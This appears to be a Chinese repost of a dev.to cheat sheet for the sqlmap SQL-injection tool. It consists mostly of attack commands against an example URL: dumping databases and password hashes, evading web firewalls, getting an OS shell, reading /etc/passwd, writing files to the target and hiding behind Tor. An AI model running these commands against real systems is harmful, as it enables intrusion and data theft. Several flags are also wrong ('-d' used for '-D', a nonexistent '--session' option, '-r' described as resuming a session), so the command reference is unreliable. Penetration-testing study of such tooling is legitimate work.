登录
首页 >  文章 >  python教程

SQLMap 备忘单:自动 SQL 注入快速指南

来源:dev.to

时间:2024-11-21 14:31:16 358浏览 收藏

文章不知道大家是否熟悉?今天我将给大家介绍《SQLMap 备忘单:自动 SQL 注入快速指南》,这篇文章主要会讲到等等知识点,如果你在看完本篇文章后,有更好的建议或者发现哪里有问题,希望大家都能积极评论指出,谢谢!希望我们能一起加油进步!

SQLMap 备忘单:自动 SQL 注入快速指南

作者:特里克斯·赛勒斯

什么是 sqlmap?
sqlmap是一个开源渗透测试工具,用于检测和利用web应用程序中的sql注入漏洞。它支持各种数据库系统,如 mysql、postgresql、oracle、microsoft sql server 等。

基本用法
要开始使用 sqlmap,您可以通过提供目标 url 以最简单的形式运行它:

sqlmap -u "http://example.com/index.php?id=1"

此命令扫描目标 url 是否存在 sql 注入漏洞。

1。检测漏洞
使用以下选项执行基本的漏洞扫描并自动检测 sql 注入点:

sqlmap -u "http://example.com/index.php?id=1" --dbs

--dbs:如果发现漏洞,列出目标服务器上所有可用的数据库。

2。指定 post 请求

对于需要 post 请求的目标(通常在登录表单中),您可以指定如下数据:

sqlmap -u "http://example.com/login.php" --data="username=admin&password=1234"

3。绕过 waf 和过滤器

为了逃避 web 应用程序防火墙 (waf),sqlmap 包含有效负载混淆技术:

sqlmap -u "http://example.com/index.php?id=1" --tamper=space2comment

--tamper:使用篡改脚本来逃避过滤器。示例:space2comment、charencode。

4。提取数据库、表和列
要获取目标系统上的数据库列表:

sqlmap -u "http://example.com/index.php?id=1" --dbs

识别数据库后,提取其表:

sqlmap -u "http://example.com/index.php?id=1" -d database_name --tables

要从特定表中获取列:

sqlmap -u "http://example.com/index.php?id=1" -d database_name -t table_name --columns

5。转储数据

转储表的内容是 sqlmap 最有用的功能之一。例如,转储特定表中的所有数据:

sqlmap -u "http://example.com/index.php?id=1" -d database_name -t table_name --dump

6。枚举数据库用户和密码

sqlmap 还可以用于枚举数据库用户,甚至破解哈希密码:

sqlmap -u "http://example.com/index.php?id=1" --users
sqlmap -u "http://example.com/index.php?id=1" --passwords

7。访问操作系统

在某些情况下,sqlmap可以用来在操作系统上执行命令,特别是当数据库用户具有高级权限时:

sqlmap -u "http://example.com/index.php?id=1" --os-shell

这将提供一个交互式 shell,您可以在其中在目标系统上执行命令。

8。文件上传与读取

您还可以从目标系统读取文件或上传恶意文件(如果允许):

sqlmap -u "http://example.com/index.php?id=1" --file-read="/etc/passwd"
sqlmap -u "http://example.com/index.php?id=1" --file-write="/path/to/file" --file-dest="/destination/path"

9。使用 tor 进行匿名

要隐藏您的身份,您可以通过 tor 网络运行 sqlmap:

sqlmap -u "http://example.com/index.php?id=1" --tor --tor-type=socks5 --check-tor

--tor:启用 tor。
--check-tor:验证是否通过 tor 建立连接。

10。保存和恢复会话

sqlmap 允许您使用 --session 选项保存和恢复进度:

sqlmap -u "http://example.com/index.php?id=1" --session=your_session_name

稍后,您可以通过以下方式恢复同一会话:

sqlmap -r your_session_name

11。详细模式

要查看有关 sqlmap 正在执行的操作的详细信息:

sqlmap -u "http://example.com/index.php?id=1" -v 3

-v 选项控制详细程度(级别从 0 到 6,其中 6 显示所有详细信息)。

  1. 自动扫描多个目标

sqlmap 支持扫描存储在文件中的多个 url:

sqlmap -m urls.txt --batch

--batch:使用默认选项自动回答所有提示,对于自动扫描很有用。

还可以使用 --risk=3 和 --level=5 来提前扫描
您可以使用此备忘单向读者介绍 sqlmap 的基本命令,并帮助他们开始 sql 注入测试。

~trixsec

本篇关于《SQLMap 备忘单:自动 SQL 注入快速指南》的介绍就到此结束啦,但是学无止境,想要了解学习更多关于文章的相关知识,请关注golang学习网公众号!

声明:本文转载于:dev.to 如有侵犯,请联系study_golang@163.com删除
相关阅读
更多>
最新阅读
更多>
课程推荐
更多>